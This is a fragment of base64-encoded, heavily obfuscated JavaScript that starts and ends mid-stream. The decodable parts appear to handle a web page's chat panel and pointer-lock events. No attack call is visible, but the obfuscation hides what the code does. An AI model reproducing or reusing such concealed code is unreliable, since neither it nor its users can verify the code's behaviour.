FlLDB4NzhmKV0oXzB4MjNhZjU2W18weDNlOWFhOSgweDNhMiwtMHgxZiwweDI1MSwweDM3MyldKTtfMHgxMDIwNzlbXzB4MmNjNTllKDB4NzEzLDB4NDVjLDB4NjE3LDB4NmZiKSsnbnRlckxvY2snXT1fMHgxMDIwNzlbJ3JlcXVlc3RQb2knKydudGVyTG9jayddfHxfMHgxMDIwNzlbJ21velJlcXVlc3QnK18weDJjYzU5ZSgweDc1YywweDkwYiwweDcwYywweDk5ZSkrJ2snXXx8XzB4MTAyMDc5W18weDJjYzU5ZSgweDRjMywweDUyZiwweDZhMiwweDdmNikrXzB4M2U5YWE5KDB4MjQ1LDB4Mzg0LDB4MmY3LDB4M2MxKSsnTG9jayddLF8weDEwMjA3OVtfMHgyY2M1OWUoMHgzOGYsMHg3ZTAsMHg2MTcsMHg0YTcpK18weDNlOWFhOSgtMHgzMDMsLTB4NTUzLC0weDJhYiwtMHgxM2UpXSgpO30pO319KSxfMHgyZjUzNDlbXzB4NDRmZjQ5KDB4NDBmLDB4MjdiLDB4M2MzLDB4NGZjKV0oJCxkb2N1bWVudFtfMHgyNTljODMoMHg5MWQsMHg0YjgsMHg0ZWEsMHg3MDgpXSlbJ29uJ10oXzB4MmY1MzQ5W18weDQ0ZmY0OSgweDQyZiwweDkwZSwweDY2MCwweDYyMyldLGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NTA4Y2U0KF8weDNlZDdjZixfMHg1ODgzNTcsXzB4MTllMDcwLF8weDFjMGViOCl7cmV0dXJuIF8weDI1OWM4MyhfMHgxYzBlYjgsXzB4NTg4MzU3LTB4ZmMsXzB4MTllMDcwLTB4MmEsXzB4MTllMDcwLTB4ODcpO312YXIgXzB4NGMxOTczPXsnTVJDVW4nOl8weDJmNTM0OVtfMHg1MDhjZTQoMHg0OWYsMHg1MmEsMHg2OTAsMHg4ODApXSwnQkdzVk0nOl8weDJmNTM0OVtfMHg1MDhjZTQoMHg1ZjAsMHg0NzYsMHgzNzcsMHg5MCldLCdUZXBHTic6ZnVuY3Rpb24oXzB4NTFlZWE3LF8weDE4NjBhOCl7ZnVuY3Rpb24gXzB4Mzg4ZjZlKF8weDE0YTI4NSxfMHg0MWE5MmEsXzB4NDlmNzVjLF8weDI2ODFhYil7cmV0dXJuIF8weDUwOGNlNChfMHgxNGEyODUtMHgxMzksXzB4NDFhOTJhLTB4NjksXzB4NDlmNzVjLSAtMHg0NjcsXzB4MjY4MWFiKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgzODhmNmUoMHgzZGMsLTB4MTI2LDB4MWM1LDB4NDQ1KV0oXzB4NTFlZWE3LF8weDE4NjBhOCk7fSwnV3hmbm4nOl8weDJmNTM0OVtfMHg3M2FkOTUoMHgxMjksMHgyNDIsMHgyZDksMHhjZildLCdUSXNYVSc6XzB4MmY1MzQ5WydEQUt3biddLCdBVmNiUic6ZnVuY3Rpb24oXzB4MjY5NjUwLF8weDI4ZDY1Yil7ZnVuY3Rpb24gXzB4NDEwZTgwKF8weDJiOTA4MCxfMHgyY2E3ZDgsXzB4NDFiMDU1LF8weDI2ZWUzNyl7cmV0dXJuIF8weDczYWQ5NShfMHgyYjkwODAtMHhmZSxfMHgyY2E3ZDgtMHg0LF8weDJjYTdkOC0gLTB4MTNiLF8weDI2ZWUzNyk7fXJldHVybiBfMHgyZjUzNDlbXzB4NDEwZTgwKDB4MTYyLDB4MjRjLDB4M2I2LDB4NGU3KV0oXzB4MjY5NjUwLF8weDI4ZDY1Yik7fSwnR2ZnRGMnOmZ1bmN0aW9uKF8weDU1YTg3OSxfMHg0NDVkNmMpe3JldHVybiBfMHg1NWE4NzkrXzB4NDQ1ZDZjO30sJ0xXcWJDJzpfMHg3M2FkOTUoMHg5NmEsMHg1NmYsMHg3ZjYsMHhhOWEpLCdnWktOWCc6ZnVuY3Rpb24oXzB4NWQ3YzM3LF8weDUzZDlkOCl7ZnVuY3Rpb24gXzB4MWE5ZTZhKF8weDdhYTU1NyxfMHg1MDI0NDUsXzB4MjdjOWMxLF8weDM4ODNlOCl7cmV0dXJuIF8weDczYWQ5NShfMHg3YWE1NTctMHgyZixfMHg1MDI0NDUtMHgxNTUsXzB4NTAyNDQ1LSAtMHgxZmEsXzB4MjdjOWMxKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgxYTllNmEoLTB4MjIsMHgxNWUsMHg4YiwweDM1NSldKF8weDVkN2MzNyxfMHg1M2Q5ZDgpO30sJ0dTelh6JzpmdW5jdGlvbihfMHgyMjJlNjUsXzB4MTM4YzU2KXtmdW5jdGlvbiBfMHgyMGFhNjgoXzB4MmIyZGRhLF8weDRhMWQyOSxfMHg0MmE5ZGUsXzB4MzIwODFjKXtyZXR1cm4gXzB4NTA4Y2U0KF8weDJiMmRkYS0weGI3LF8weDRhMWQyOS0weDFkMCxfMHg0YTFkMjktIC0weDJlZCxfMHgzMjA4MWMpO31yZXR1cm4gXzB4MmY1MzQ5W18weDIwYWE2OCgweDQ5MSwweDI4NSwweDRlMywweDFiZCldKF8weDIyMmU2NSxfMHgxMzhjNTYpO30sJ051TFJ5JzpfMHgyZjUzNDlbXzB4NTA4Y2U0KDB4NWRiLDB4NTg1LDB4M2JmLDB4MzY1KV0sJ3F6S21kJzpfMHgyZjUzNDlbXzB4NzNhZDk1KDB4MjQ4LDB4MjdlLDB4NTM2LDB4MzI0KV0sJ1hQSnJEJzpmdW5jdGlvbihfMHg2YTQ1NmQsXzB4MWU0MDI0KXtyZXR1cm4gXzB4MmY1MzQ5WydsZ2lIYyddKF8weDZhNDU2ZCxfMHgxZTQwMjQpO30sJ01IQlloJzonPGFceDIwdGFyZ2V0PScrXzB4NTA4Y2U0KDB4NmNkLDB4MmJmLDB4NGE5LDB4Mjg4KStfMHg3M2FkOTUoMHgyZjMsMHgzOGYsMHg0MjYsMHg1MzMpLCdFZWZYRSc6XzB4NzNhZDk1KDB4Nzk1LDB4NWNjLDB4NTU5LDB4Mzk1KSsnYWQnLCd1Vk1mTic6XzB4MmY1MzQ5W18weDczYWQ5NSgweGM4LDB4ZWIsMHgzNTQsMHgxMDYpXSwna1JiUVcnOl8weDJmNTM0OVtfMHg1MDhjZTQoMHg5YWMsMHg1ZjgsMHg4YmEsMHg4OTIpXSwneldoeEsnOl8weDczYWQ5NSgweDkxYiwweGFhNiwweDgxYSwweDdiOSl9O2Z1bmN0aW9uIF8weDczYWQ5NShfMHg0ZGI3YTAsXzB4NGE1ZDQwLF8weDEwYmEzOCxfMHg5NDRiM2Ipe3JldHVybiBfMHg0NGZmNDkoXzB4NGRiN2EwLTB4MWE4LF8weDRhNWQ0MC0weGQxLF8weDk0NGIzYixfMHgxMGJhMzgtMHgyMGYpO31pZihfMHgyZjUzNDlbJ05YaUx0J10oXzB4MmY1MzQ5WydZdG9ZSCddLF8weDJmNTM0OVtfMHg3M2FkOTUoMHgzYTMsMHg2ZTEsMHg1YjAsMHgzMGMpXSkpe2lmKF8weDJmNTM0OVtfMHg1MDhjZTQoMHg2ODksMHg3ZmIsMHg3YjUsMHhhMDApXShfMHgyZjUzNDlbXzB4NTA4Y2U0KDB4NGE0LDB4NWI3LDB4NjZjLDB4MzdmKV0oJCxfMHgyZjUzNDlbXzB4NzNhZDk1KDB4NzkwLDB4NWQxLDB4NGY0LDB4NjgwKV0pW18weDUwOGNlNCgweGE2NSwweDhkNSwweDg1OSwweDg4MildLC0weDE1ODQrMHgyMDU2KzB4NSotMHgyMmEpfHwhXzB4MmY1MzQ5W18weDUwOGNlNCgweDgzZiwweDkxOSwweDc0NiwweDZhMildKCQsXzB4MmY1MzQ5W18weDczYWQ5NSgweDU3MywweDRlMywweDRmNCwweDI3MyldKVsnaXMnXShfMHgyZjUzNDlbJ3F1U0hSJ10pKXJldHVybjtfMHgyZjUzNDlbXzB4NzNhZDk1KDB4M2E2LDB4NTA1LDB4M2U3LDB4NjI5KV0oXzB4ZTk4NGM4LF8weDJmNTM0OVtfMHg1MDhjZTQoMHhhOTksMHg3ZDYsMHg4OGUsMHhiMzIpXSx7fSk7fWVsc2V7aWYoXzB4NGU0Mjc3Wydjb2RlU3RhdHVzJ109PV8weDRjMTk3M1tfMHg1MDhjZTQoMHgxNzYsMHg1MTksMHgzYzIsMHg0ODEpXSl7dmFyIF8weDE4NzViMz1fMHg0YzE5NzNbJ0JHc1ZNJ11bXzB4NTA4Y2U0KDB4N2MwLDB4NTYwLDB4Nzg5LDB4YTM0KV0oJ3wnKSxfMHg2MjIyOWM9LTB4MzBmKzB4MWJkMistMHgxOGMzO3doaWxlKCEhW10pe3N3aXRjaChfMHgxODc1YjNbXzB4NjIyMjljKytdKXtjYXNlJzAnOl8weDRjMTk3M1tfMHg1MDhjZTQoMHg0N2IsMHgzODUsMHg1ODcsMHg0YmUpXShfMHgzNjdjM2EsXzB4MTc1YmEyKVtfMHg0YzE5NzNbXzB4NTA4Y2U0KDB4NDAxLDB4NGE4LDB4MzY5LDB4MmJhKV1dKF8weDRjMTk3M1tfMHg1MDhjZTQoMHg5ZGIsMHg2NmMsMHg4ZTIsMHg2ZmQpXSxmdW5jdGlvbihfMHg0OTIzMjcpe2Z1bmN0aW9uIF8weDMxY2U5MihfMHhhMWUwODIsXzB4NDU5ZDJjLF8weDFjNmNmMixfMHgxMTA1YzIpe3JldHVybiBfMHg3M2FkOTUoXzB4YTFlMDgyLTB4NDgsXzB4NDU5ZDJjLTB4MTgzLF8weDFjNmNmMi0weDE2MSxfMHg0NTlkMmMpO31fMHg0OTIzMjdbXzB4MzFjZTkyKDB4YTIzLDB4NjIxLDB4NzRhLDB4NGRhKSsnYXVsdCddKCk7fSk7Y29udGludWU7Y2FzZScxJzpfMHg0YzE5NzNbXzB4NzNhZDk1KDB4NjgyLDB4NDE0LDB4NDdjLDB4MmIwKV0oXzB4NDhjNjE1LF8weDRjMTk3M1tfMHg3M2FkOTUoMHg4N2MsMHg2M2UsMHg4MWIsMHhhNTkpXSgnLnN1YycsXzB4NzNhZDk1KDB4N2M0LDB4OTU5LDB4ODBiLDB4NWZlKSkpW18weDRjMTk3M1tfMHg3M2FkOTUoMHg4MmYsMHg4NDIsMHg1YjcsMHg0M2YpXV0oKTtjb250aW51ZTtjYXNlJzInOl8weDRjMTk3M1tfMHg1MDhjZTQoMHg1YjIsMHgzYzYsMHg2NWIsMHg3ZWYpXShfMHhlZTRiNzgsXzB4MzE4MzA5KTtjb250aW51ZTtjYXNlJzMnOl8weDRjMTk3M1snZ1pLTlgnXShfMHgyZGNhMjMsXzB4NGMxOTczW18weDUwOGNlNCgweDY0MiwweDQ3ZiwweDUzZSwweDMwNyldKF8weDczYWQ5NSgweDM3NSwweDkyZCwweDY2YiwweDY2MyksXzB4NzNhZDk1KDB4ODkxLDB4NGExLDB4NmFmLDB4N2VkKSkpW18weDUwOGNlNCgweDgzYywweDcwOCwweDg3NiwweDhlMCldKCk7Y29udGludWU7Y2FzZSc0JzpfMHg0MGI0NDMoXzB4YWVhYzdhKVtfMHg0YzE5NzNbXzB4NzNhZDk1KDB4YjFhLDB4OTc0LDB4ODVmLDB4NmY3KV1dKF8weDRjMTk3M1snVElzWFUnXSk7Y29udGludWU7Y2FzZSc1JzpfMHg0MjdiYzcoXzB4NGMxOTczW18weDczYWQ5NSgweDQ5OCwweDY1ZiwweDZiYywweDZkZildKVsnaHRtbCddKF8weDRjMTk3M1tfMHg3M2FkOTUoMHg5NjAsMHg5NzksMHg4MWIsMHg5YTkpXShfMHg0YzE5NzNbJ1hQSnJEJ10oXzB4NGMxOTczW18weDUwOGNlNCgweDRkMCwweDkyMSwweDc5YSwweDRjNSldKF8weDRjMTk3M1tfMHg3M2FkOTUoMHg0NGIsMHg2Y2MsMHg0ZDMsMHg2NWMpXStfMHgxMGMyNmRbXzB4NGMxOTczW18weDUwOGNlNCgweDY3YywweDQwMiwweDNjMiwweDY1NildXSwnXHgyMj4nKSxfMHg1NjRkNzZbJ3N1Y2Nlc3NMbmsnK18weDUwOGNlNCgweDFjNiwweDI4NiwweDRhMiwweDNlYyldKSxfMHg1MDhjZTQoMHg2MWUsMHg1ZjUsMHg2MWMsMHgzYjApKSk7Y29udGludWU7Y2FzZSc2JzpfMHg0YzE5NzNbXzB4NTA4Y2U0KDB4MmZlLDB4NjUzLDB4NGQ4LDB4NWE0KV0oXzB4MmRiYmY0LF8weDlkZGFlYSlbXzB4NzNhZDk1KDB4NGY4LDB4ODY0LDB4N2QwLDB4OTdhKV0oXzB4NGMxOTczW18weDUwOGNlNCgweDg2OSwweDUxNiwweDY5OCwweDVlZCldKTtjb250aW51ZTtjYXNlJzcnOl8weGQxMTI3YihfMHg0YzE5NzNbXzB4NzNhZDk1KDB4MmRjLDB4NjkzLDB4M2Y1LDB4MjZjKV0rXzB4NGMxOTczW18weDczYWQ5NSgweDZkNSwweDM5MywweDUzMiwweDM3OCldKyhfMHg3M2FkOTUoMHgyMDIsMHg0Y2QsMHg0MWMsMHg1NjEpKyduZWwtZm9vdGVyJykpW18weDRjMTk3M1sneldoeEsnXV0oKTtjb250aW51ZTt9YnJlYWs7fX19fSk7ZnVuY3Rpb24gXzB4MzRjMTZmKCl7ZnVuY3Rpb24gXzB4NDg1NDJkKF8weDNhNTYyNixfMHgxOTc2NmQsXzB4MjI1YTRiLF8weDVjYWJjYyl7cmV0dXJuIF8weDI1OWM4MyhfMHgzYTU2MjYsXzB4MTk3NjZkLTB4MWQxLF8weDIyNWE0Yi0weDE3YSxfMHgyMjVhNGItIC0weGFlKTt9aWYoXzB4MmY1MzQ5W18weDExZmYxMygweDIzMSwweDM3OCwweDEwNCwweDEwMildKF8weDJmNTM0OVtfMHg0ODU0MmQoMHhkNCwweDFiZCwweDJhZSwweDNhNSldKCQsJyNvbmxpbmVfY2gnKydhdCcpWydsZW5ndGgnXSwtMHgzNioweDU5Ky0weDIxMDErMHgzNyoweGYxKSlyZXR1cm47ZnVuY3Rpb24gXzB4MTFmZjEzKF8weDYwZThhOSxfMHgxMzMzNGEsXzB4MmU2MmIyLF8weDVlZDc2MSl7cmV0dXJuIF8weDI1OWM4MyhfMHgxMzMzNGEsXzB4MTMzMzRhLTB4ZTQsXzB4MmU2MmIyLTB4Y2MsXzB4NjBlOGE5LSAtMHg0ZmQpO30kKF8weDJmNTM0OVsnc0dlcFEnXSlbXzB4MTFmZjEzKC0weDIwZSwtMHhiZiwtMHgyMWUsLTB4MmQxKV0oXzB4MmY1MzQ5W18weDExZmYxMygtMHhhZiwtMHgzNDgsMHg3MiwtMHgyNDMpXSgkLF8weDJmNTM0OVtfMHg0ODU0MmQoMHg4YWMsMHg2M2MsMHg2ODcsMHg5MjUpXSlbLTB4YTcqLTB4MjUrMHhlMTYrLTB4MjYzOV1bXzB4MTFmZjEzKDB4MzY1LDB4NWY4LDB4MTRmLDB4MzA0KSsnaHQnXSk7fWZ1bmN0aW9uIF8weGY2MzdkOSgpe3ZhciBfMHg0YzJjOGU9eyduYVlJRic6ZnVuY3Rpb24oXzB4MmYwMTI4LF8weDVhYzE1MSl7cmV0dXJuIF8weDJmMDEyOChfMHg1YWMxNTEpO30sJ1JEVEVCJzpmdW5jdGlvbihfMHhmYWFhNDQsXzB4NDZiYWZhKXtmdW5jdGlvbiBfMHgyNTg3Y2MoXzB4MTlkNDFmLF8weGU0N2ViMSxfMHg1Y2QwMjksXzB4NGVlYzk2KXtyZXR1cm4gXzB4NGMwZihfMHhlNDdlYjEtMHgxNDMsXzB4NGVlYzk2KTt9cmV0dXJuIF8weDJmNTM0OVtfMHgyNTg3Y2MoMHgzYjYsMHg1NDUsMHg3NTcsMHg2OGIpXShfMHhmYWFhNDQsXzB4NDZiYWZhKTt9LCdlRXdIVCc6ZnVuY3Rpb24oXzB4NTdkOTI4LF8weDIxMTgxNSl7ZnVuY3Rpb24gXzB4Mjk0NDVjKF8weDI1YWM5YixfMHg0MzhjOTYsXzB4NWMzMDRlLF8weDExNTZmMSl7cmV0dXJuIF8weDRjMGYoXzB4MjVhYzliLTB4ZGYsXzB4NWMzMDRlKTt9cmV0dXJuIF8weDJmNTM0OVtfMHgyOTQ0NWMoMHgyYWEsMHg0NiwweDFjMSwweDg3KV0oXzB4NTdkOTI4LF8weDIxMTgxNSk7fSwnZ3RLWVonOl8weDJmNTM0OVtfMHgxMDMzOGEoMHg2YzgsMHg4NjYsMHg5OTcsMHg2YzIpXSwnQWlidHUnOmZ1bmN0aW9uKF8weDZjZDEyYyxfMHgzYjg5MDApe2Z1bmN0aW9uIF8weDJjN2JhYShfMHgzMWY4ODEsXzB4MTk5Nzg3LF8weDM3NTcwMSxfMHg0MDI1ZWMpe3JldHVybiBfMHgxMDMzOGEoXzB4Mzc1NzAxLF8weDE5OTc4Ny0gLTB4MTE5LF8weDM3NTcwMS0weGMwLF8weDQwMjVlYy0weDFlMyk7fXJldHVybiBfMHgyZjUzNDlbXzB4MmM3YmFhKDB4NDI1LDB4NDQ0LDB4NTZiLDB4NmQ0KV0oXzB4NmNkMTJjLF8weDNiODkwMCk7fX07ZnVuY3Rpb24gXzB4MTAzMzhhKF8weDMzYWRjNixfMHg1MjdkYWUsXzB4MjRjMDZmLF8weDJiYWFhNSl7cmV0dXJuIF8weDI1OWM4MyhfMHgzM2FkYzYsXzB4NTI3ZGFlLTB4OGQsXzB4MjRjMDZmLTB4OGIsXzB4NTI3ZGFlLTB4YWYpO31mdW5jdGlvbiBfMHgzNDk3ZTIoXzB4ZDFhZDY4LF8weDQwMmU5NCxfMHg0ZDIxOTksXzB4NDlkODZiKXtyZXR1cm4gXzB4NDRmZjQ5KF8weGQxYWQ2OC0weDE5NyxfMHg0MDJlOTQtMHgyMSxfMHg0ZDIxOTksXzB4NDAyZTk0LTB4MmNhKTt9aWYoXzB4MmY1MzQ5W18weDEwMzM4YSgweDNlZiwweDRmYywweDQ2MSwweDUwNyldKF8weDEwMzM4YSgweDQ1ZiwweDYzMCwweDgzOSwweDVmNCksXzB4MmY1MzQ5W18weDM0OTdlMigweDhlZCwweDc5MCwweDYyNCwweDY2MyldKSl7aWYoXzB4MmY1MzQ5WydBTU9tQSddKF8weDJmNTM0OVtfMHgzNDk3ZTIoMHg3ZmUsMHg3YTYsMHg1OGUsMHhhN2EpXSgkLF8weDEwMzM4YSgweDY2MiwweDcxMCwweDUyOCwweDliMCkrJ2F0JylbJ2xlbmd0aCddLDB4Yzc0KzB4MWM3NistMHgyOGVhKSlyZXR1cm47XzB4MmY1MzQ5W18weDM0OTdlMigweDFiMCwweDQ0MiwweDQ5MiwweDU5MCldKCQsXzB4MmY1MzQ5WydrR3daVSddKVtfMHgxMDMzOGEoMHg2NjEsMHg2NWUsMHgzOGYsMHg3ZWQpXSgpO31lbHNle3ZhciBfMHg1OWU1NGUsXzB4NGJkMDc1O3JldHVybiBfMHg1OWU1NGU9XzB4NGMyYzhlW18weDM0OTdlMigweDdiOCwweDU3YiwweDczMSwweDU0MildKF8weDRlZmJlZCxfMHgzMWMyYTlbXzB4MzQ5N2UyKDB4NmRlLDB4N2I2LDB4OWJjLDB4OGViKSsnZ2V0J10pLF8weDRiZDA3NT1fMHg1OWU1NGVbXzB4MzQ5N2UyKDB4MTk0LDB4M2ZhLDB4MTk4LDB4M2U4KV0oKSxfMHg0YzJjOGVbXzB4MzQ5N2UyKDB4NmY5LDB4NzJkLDB4OGZkLDB4NTJjKV0oMHgxNmE2KjB4MSsweDMqMHgxMGIrLTB4MTliZixfMHgzODBhZDJbJ3doaWNoJ10pfHxfMHg0YzJjOGVbXzB4MzQ5N2UyKDB4NGU3LDB4NWM5LDB4MzE4LDB4N2RmKV0obnVsbCxfMHg1OWU1NGVbJ3Byb3AnXShfMHg0YzJjOGVbXzB4MzQ5N2UyKDB4OGFhLDB4N2VhLDB4OTJlLDB4NmY2KV0pKSYmXzB4NGMyYzhlW18weDM0OTdlMigweDJlMywweDQ0NywweDQxYSwweDFhZildKF8weDU5ZTU0ZVtfMHgxMDMzOGEoMHg4YTAsMHg4YTYsMHg2ZDgsMHhhMzYpXShfMHg0YzJjOGVbXzB4MTAzMzhhKDB4NjBlLDB4N2IzLDB4NTEwLDB4YWE4KV0pLF8weDRiZDA3NVsnbGVuZ3RoJ10pP3ZvaWQoLTB4YioweDFkKy0weDFiODUrLTB4NzMxKi0weDQpOi9cZFxzJC9bXzB4MTAzMzhhKDB4NDVjLDB4NmFiLDB4NGMzLDB4NjI0KV0oXzB4NGJkMDc1KT8oXzB4MzZkY2I4W18weDEwMzM4YSgweDQ1ZiwweDY2ZCwweDdhMCwweDZiYykrXzB4MTAzMzhhKDB4NTMzLDB4M2IwLDB4MTZjLDB4NDUyKV0oKSxfMHg0YzJjOGVbXzB4MzQ5N2UyKDB4NWFkLDB4NTdiLDB4NTgzLDB4NjJjKV0oXzB4NTdhNzc2LGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4NGQzOTk1KF8weDU4NjUzMCxfMHgzYjUxMDIsXzB4MTc3NjI1LF8weDE5NTAzNil7cmV0dXJuIF8weDEwMzM4YShfMHg1ODY1MzAsXzB4M2I1MTAyLSAtMHg0ODQsXzB4MTc3NjI1LTB4MTEyLF8weDE5NTAzNi0weDE2Mik7fWZ1bmN0aW9uIF8weDFlM2UzYShfMHhhZmQwNjQsXzB4MzBhMDljLF8weDNkMWViNSxfMHg0MmJlZDkpe3JldHVybiBfMHgzNDk3ZTIoXzB4YWZkMDY0LTB4YzcsXzB4YWZkMDY0LSAtMHg0MWEsXzB4M2QxZWI1LF8weDQyYmVkOS0weDE2Yyk7fXJldHVybiBfMHg1OWU1NGVbXzB4MWUzZTNhKC0weDIwLDB4MWY0LDB4Mjc4LDB4MjRmKV0oXzB4NGJkMDc1W18weDRkMzk5NSgweDYzMywweDQ2OCwweDFhZSwweDU5ZSldKC9cZFxzJC8sJycpKTt9KSk6L1xzXGQ/JC9bJ3Rlc3QnXShfMHg0YmQwNzUpPyhfMHgzMWE3NDdbJ3ByZXZlbnREZWYnK18weDM0OTdlMigweDU0OSwweDNlNywweDE2ZiwweDM2NildKCksXzB4MzZkZjdiKGZ1bmN0aW9uKCl7ZnVuY3Rpb24gXzB4MWQ1MGUwKF8weDljNDU0MCxfMHgzY2I4MDAsXzB4ZTllN2ZmLF8weDVlZDZkNil7cmV0dXJuIF8weDEwMzM4YShfMHhlOWU3ZmYsXzB4M2NiODAwLSAtMHgzYmUsXzB4ZTllN2ZmLTB4NGMsXzB4NWVkNmQ2LTB4MTVkKTt9ZnVuY3Rpb24gXzB4MTY4NWFmKF8weDFmMGJiNSxfMHhhZWI4MzMsXzB4M2IwMGRhLF8weDRlNzE3Mil7cmV0dXJuIF8weDM0OTdlMihfMHgxZjBiYjUtMHgxZWUsXzB4YWViODMzLSAtMHgxNzEsXzB4MWYwYmI1LF8weDRlNzE3Mi0weDdkKTt9cmV0dXJuIF8weDU5ZTU0ZVtfMHgxZDUwZTAoLTB4ZDksMHg1LDB4MmRmLDB4YWEpXShfMHg0YmQwNzVbXzB4MWQ1MGUwKDB4NmQyLDB4NTJlLDB4M2Y5LDB4MjhlKV0oL1xkJC8sJycpKTt9KSk6dm9pZCgtMHg2OSoweDJlKzB4MSotMHgxMGU3Ky0weDEqLTB4MjNjNSk7fX1mdW5jdGlvbiBfMHg1OTVkNDgoXzB4NTFjM2U5KXtmdW5jdGlvbiBfMHgzMTEzMjcoXzB4NGQxYThhLF8weDJjNTdjZCxfMHg0MTYyNTgsXzB4MWQ3MTk3KXtyZXR1cm4gXzB4NDRmZjQ5KF8weDRkMWE4YS0weDFmNCxfMHgyYzU3Y2QtMHg2YixfMHgxZDcxOTcsXzB4NGQxYThhLSAtMHgzN2YpO31mdW5jdGlvbiBfMHg1NDIwYmIoXzB4MWYzZDhjLF8weDQxMjJkZixfMHg0YWVhMWMsXzB4MjY0ZWQ4KXtyZXR1cm4gXzB4NDRmZjQ5KF8weDFmM2Q4Yy0weDg2LF8weDQxMjJkZi0weDMzLF8weDI2NGVkOCxfMHg0MTIyZGYtMHgyYjEpO31yZXR1cm4gXzB4MmY1MzQ5W18weDU0MjBiYigweDU0YSwweDUxYiwweDMyMywweDNjMCldKCQsXzB4MmY1MzQ5W18weDU0MjBiYigweDUyNCwweDcyMSwweDlmNCwweDdjMildKVsndGV4dCddKF8weDUxYzNlOSlbXzB4NTQyMGJiKDB4NjFkLDB4NGU3LDB4MzYyLDB4MzcxKV0oKTt9XzB4MmY1MzQ5W18weDI1OWM4MygweDRmOSwweDc0OCwweDk3OSwweDZkOSldKCQsZG9jdW1lbnRbJ2JvZHknXSlbJ29uJ10oJ25ld19jaGF0X20nK18weDI1OWM4MygweDE1YiwweDZjYywweDMxYywweDQzNCksZnVuY3Rpb24oXzB4Mjg3ZDBiLF8weDM0YjNlYyl7ZnVuY3Rpb24gXzB4NTdiNWNjKF8weDIxMTVlMyxfMHg0OWE5NWUsXzB4NDFhM2U4LF8weDJmYWZjYSl7cmV0dXJuIF8weDQ0ZmY0OShfMHgyMTE1ZTMtMHgxOWEsXzB4NDlhOTVlLTB4MTZlLF8weDJmYWZjYSxfMHg0MWEzZTgtMHhiMSk7fWlmKF8weDJmNTM0OVtfMHgyNzhlMWUoMHhhOCwweDM4OCwweDM3OSwweDJkYildKCQoXzB4MmY1MzQ5W18weDI3OGUxZSgweDIwLDB4YzUsMHgxYmMsLTB4YTMpXSlbJ2xlbmd0aCddLDB4NTUqLTB4MjkrLTB4MSoweDE5YjUrMHgyKjB4MTNhOSkpcmV0dXJuO18weDJmNTM0OVtfMHg1N2I1Y2MoMHgyMTQsMHgxZDcsMHg0NzIsMHg0YzcpXSgkLF8weDJmNTM0OVtfMHg1N2I1Y2MoMHg0ZmMsMHg3YTksMHg2MDIsMHg0NTMpXSlbJ2FwcGVuZCddKF8weDJmNTM0OVsnbGdpSGMnXShfMHgyZjUzNDlbJ2xnaUhjJ10oXzB4MmY1MzQ5W18weDI3OGUxZSgtMHgyYzAsLTB4MmQwLC0weDJiOCwtMHg4MSldKF8weDJmNTM0OVtfMHg1N2I1Y2MoMHg1NDAsMHg1M2YsMHg0OGQsMHgzNDUpXShfMHgyZjUzNDlbXzB4Mjc4ZTFlKC0weDE0OCwweGRhLDB4Mjg1LDB4NTQpXShfMHgyZjUzNDlbXzB4NTdiNWNjKDB4MWEzLDB4NzFmLDB4NDgxLDB4NDczKV0oJ1x4MGEnK18weDJmNTM0OVtfMHg1N2I1Y2MoMHg2ZmQsMHg0ZDcsMHg2YWEsMHg4OGYpXSxfMHgzNGIzZWNbJ18nXT9fMHgyZjUzNDlbXzB4NTdiNWNjKDB4MTg1LDB4M2Q5LDB4NDNlLDB4NGI4KV06XzB4MmY1MzQ5WydhbHhFTyddKSxfMHgyZjUzNDlbXzB4NTdiNWNjKDB4MjU3LDB4NGIzLDB4MzQ3LDB4Mjk2KV0pLF8weDJmNTM0OVtfMHgyNzhlMWUoMHgzY2QsMHgxMSwweDRhZCwweDIyYyldKSxfMHg1OTVkNDgoXzB4MzRiM2VjWydtZXNzYWdlJ10pKSxfMHgyNzhlMWUoLTB4ZDIsLTB4MTVmLC0weDI1NCwtMHhlNikrXzB4Mjc4ZTFlKDB4MTNhLDB4OGUsMHgzMmMsMHgyYTYpKSxfMHgyZjUzNDlbXzB4NTdiNWNjKDB4MjVhLDB4NDcwLDB4MzZlLDB4NWQ4KV0pKTtmdW5jdGlvbiBfMHgyNzhlMWUoXzB4NTY2MWE2LF8weDQyNjAwMixfMHgzNDYyMDEsXzB4NTk5MDZmKXtyZXR1cm4gXzB4MjU5YzgzKF8weDM0NjIwMSxfMHg0MjYwMDItMHhjMixfMHgzNDYyMDEtMHgxNmEsXzB4NTk5MDZmLSAtMHg1NmMpO31fMHgyZjUzNDlbXzB4Mjc4ZTFlKDB4NDQsMHgxNWQsMHgzZDksMHgyOGMpXShfMHgzNGMxNmYpO30pLF8weDJmNTM0OVtfMHg0NGZmNDkoMHgyOWIsMHgxZWYsMHgyZjMsMHgyYzkpXSgkLGRvY3VtZW50Wydib2R5J10pWydvbiddKF8weDQ0ZmY0OSgweGU5LC0weDIxZiwtMHg3YiwweGQ3KStfMHg0NGZmNDkoMHg1NTksMHg1YjMsMHg2ZWIsMHg1OTgpLGZ1bmN0aW9uKF8weDNkNmY0NCxfMHhlZjY2NGQpe2Z1bmN0aW9uIF8weDNlMmUyZShfMHg1NTI0ZGYsXzB4MTVkYjZiLF8weDg5MTUzMCxfMHg5OWU0NTYpe3JldHVybiBfMHgyNTljODMoXzB4OTllNDU2LF8weDE1ZGI2Yi0weGM3LF8weDg5MTUzMC0weDE3LF8weDU1MjRkZi0gLTB4MmE5KTt9ZnVuY3Rpb24gXzB4MjJlYzczKF8weDgwY2FhZixfMHg1MzJlYzksXzB4NTNjMjRkLF8weDIxNTk1Mil7cmV0dXJuIF8weDQ0ZmY0OShfMHg4MGNhYWYtMHhmYSxfMHg1MzJlYzktMHgxZTYsXzB4MjE1OTUyLF8weDgwY2FhZi0gLTB4MTU4KTt9aWYoXzB4MmY1MzQ5W18weDNlMmUyZSgweDE5MCwtMHgxMDAsMHgzZjQsLTB4ZGYpXShfMHgyZjUzNDlbJ2NISmJ5J10sXzB4M2UyZTJlKDB4NTU0LDB4N2MyLDB4NTYyLDB4NDJlKSkpe2Zvcih2YXIgXzB4NGMzOWQ5PS0weDVkYisweDFkYjUrLTB4MSoweDE3ZGEsXzB4NGFjOTIyPXRoaXNbXzB4M2UyZTJlKDB4NTI5LDB4NzkzLDB4NDAwLDB4MmIyKV07XzB4MmY1MzQ5W18weDIyZWM3MygtMHg1YywtMHgxYjYsLTB4MTIsLTB4MTkwKV0oXzB4NGFjOTIyLF8weDRjMzlkOSk7XzB4NGMz